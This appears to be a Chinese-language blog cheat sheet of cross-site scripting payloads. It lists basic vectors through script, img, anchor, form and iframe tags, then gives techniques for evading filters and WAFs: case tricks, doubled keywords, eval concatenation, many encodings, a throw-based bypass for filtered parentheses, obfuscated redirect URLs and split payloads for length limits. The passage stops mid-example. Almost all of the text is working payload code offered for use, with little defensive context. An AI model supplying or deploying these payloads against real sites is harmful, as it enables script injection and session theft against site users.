xss漏洞的代码构造思路

本文最后更新于 2025年7月14日 凌晨

📌 1、基本语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<script>alert(1)</script>
<script>prompt(1)</script>
<script>confirm(1)</script>
<script>console.log(1)</script> # 如果目标定义了console.log才能弹
<script>alert(document.cookie)</script> # 查看cookie

# 图片加载错误时触发
<img src="x" onerror=alert(1)>
<img src="1" onerror=eval("alert('xss')")>
# 鼠标指针移动到元素时触发
<img src=1 onmouseover="alert(1)">
# 鼠标指针移出时触发
<img src=1 onmouseout="alert(1)">

<a href=javascript:alert(1)>
<a href="https://www.qq.com">qq</a>
<a href=javascript:alert('xss')>test</a>
<a href="javascript:a" onmouseover="alert(/xss/)">aa</a>
<a href="" onclick=alert('xss')>a</a>
<a href="" onclick=eval(alert('xss'))>aa</a>
<a href=kycg.asp?ttt=1000 onmouseover=prompt('xss') y=2016>aa</a>

# 元素上按下鼠标时触发
<p onmousedown="alert(1)">text</p>
# 元素上释放鼠标时触发
<p onmouseup="alert(1)">text</p>

# 元素上点击鼠标时触发
<button onclick="alert(1)">text</button>

<input onfocus="alert('xss');">
# 竞争焦点,从而触发onblur事件
<input onblur=alert("xss") autofocus><input autofocus>
# 通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
<input onfocus="alert('xss');" autofocus>
<input name="name" value="">
<input value="" onclick=alert('xss') type="text">
<input name="name" value="" onmouseover=prompt('xss') bad="">
<input name="name" value=""><script>alert('xss')</script>
# 按下按键时触发
<input type="text" onkeydown="alert(1)">
# 按下按键时触发
<input type="text" onkeypress="alert(1)">
# 松开按键式时触发
<input type="text" onkeyup="alert(1)">

<form action=javascript:alert('xss') method="get">
<form action=javascript:alert('xss')>
<form method=post action=aa.asp? onmouseover=prompt('xss')>
<form method=post action=aa.asp? onmouseover=alert('xss')>
<form action=1 onmouseover=alert('xss)>
<form method=post action="data:text/html;base64,<script>alert('xss')</script>">
<form method=post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

<iframe onload=alert("xss");></iframe>
<iframe src=javascript:alert('xss')></iframe>
<iframe src="data:text/html,&lt;script&gt;alert('xss')&lt;/script&gt;"></iframe>
<iframe src="data:text/html;base64,<script>alert('xss')</script>">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe src="aaa" onmouseover=alert('xss') /><iframe>
<iframe src="javascript&colon;prompt&lpar;``xss``&rpar;"></iframe>

📌 2、绕过限制

绕过空格

1
2
# 用 / 代替空格
<img/src="x"/onerror=alert("xss");>

绕过关键字

1
2
3
4
5
6
7
8
# 大小写绕过
<ImG sRc=x onerRor=alert("xss");>
# 双写关键字(有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过)
<imimgg srsrcc=x onerror=alert("xss");>
# 字符拼接(利用eval)
<img src="x" onerror="a=aler;b=t;c='(xss);';eval(a+b+c)">
# 字符拼接(利用top)
<script>top["al"+"ert"](``xss``);</script>(只有两个``这里是为了凸显出有`符号)

其它字符混淆

1
2
3
4
5
6
# 利用注释和标签优先级
<<script>alert("xss");//<</script>
<scri<!--test-->pt>alert("hello world!")</scri<!--test-->pt>
<title><img src=</title>><img src=x onerror="alert(``xss``);">
# 因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效
<SCRIPT>var a="\\";alert("xss");//";</SCRIPT>

编码绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Unicode编码绕过
<img src="x" onerror="&# 97;&# 108;&# 101;&# 114;&# 116;&# 40;&# 34;&# 120;&# 115;&# 115;&# 34;&# 41;&# 59;">
<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
# url编码绕过
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
# Ascii码绕过
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
# Hex绕过
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
# 八进制绕过
<img src=x onerror=alert('\170\163\163')>
# base64绕过
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

过滤双引号,单引号

1
2
3
# html标签内可省略引号;js中可用反引号代替单双引号
<img src="x" onerror=alert(``xss``);>
# 使用编码绕过

过滤括号

1
2
# 括号被过滤可用throw绕过
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">

过滤url地址

1
2
3
4
5
6
7
8
9
10
# 使用url编码
<img src="x" onerror=document.location=``http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/``>
# 使用IP格式
<img src="x" onerror=document.location=``http://2130706433/``>十进制
<img src="x" onerror=document.location=``http://0177.0.0.01/``>八进制
<img src="x" onerror=document.location=``http://0x7f.0x0.0x0.0x1/``>十六进制
<img src="x" onerror=document.location=``//www.baidu.com``>html标签中用//代替http://
# 使用反斜杠(注意Windows下为file协议)
# 中文逗号代替英文逗号
<img src="x" onerror="document.location=``http://www。baidu。com``">//会自动跳转

📌 3、绕过思路

一、白名单绕过

1
<title><img src="xxx"></title>

1.闭合标签构造语句

当白名单较宽松,” 和 <> 均可用时:

1
<title><img src=""><img src="" onerror="alert(5)"/>"></title>

若 “ 被限制,可利用HTML标签优先级:

1
<title><img src="</title><img src=1 onerror=alert(1)>"></title>

2.闭合属性构造xss

若 <> 不可用,但onerror属性可控,可闭合src属性构造:

1
<title><img src="x" onerror="alert(1)"></title>

若 <> ‘ “ 全部限制,可用实体编码绕过:

1
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

二、绕过长度限制

长度限制在20字符以内时,可用分段拼接:

1
2
3
4
<p><img src="xxx"></p>

# 基本闭合语句
"><script>alert(1)</script>

此语句较长,可用多点分段结合注释拼接:

1.利用注释符拼接

1
2
3
<p><img src=""><script>/*"></p>
<p><img src="*/alert(1)/*"></p>
<p><img src="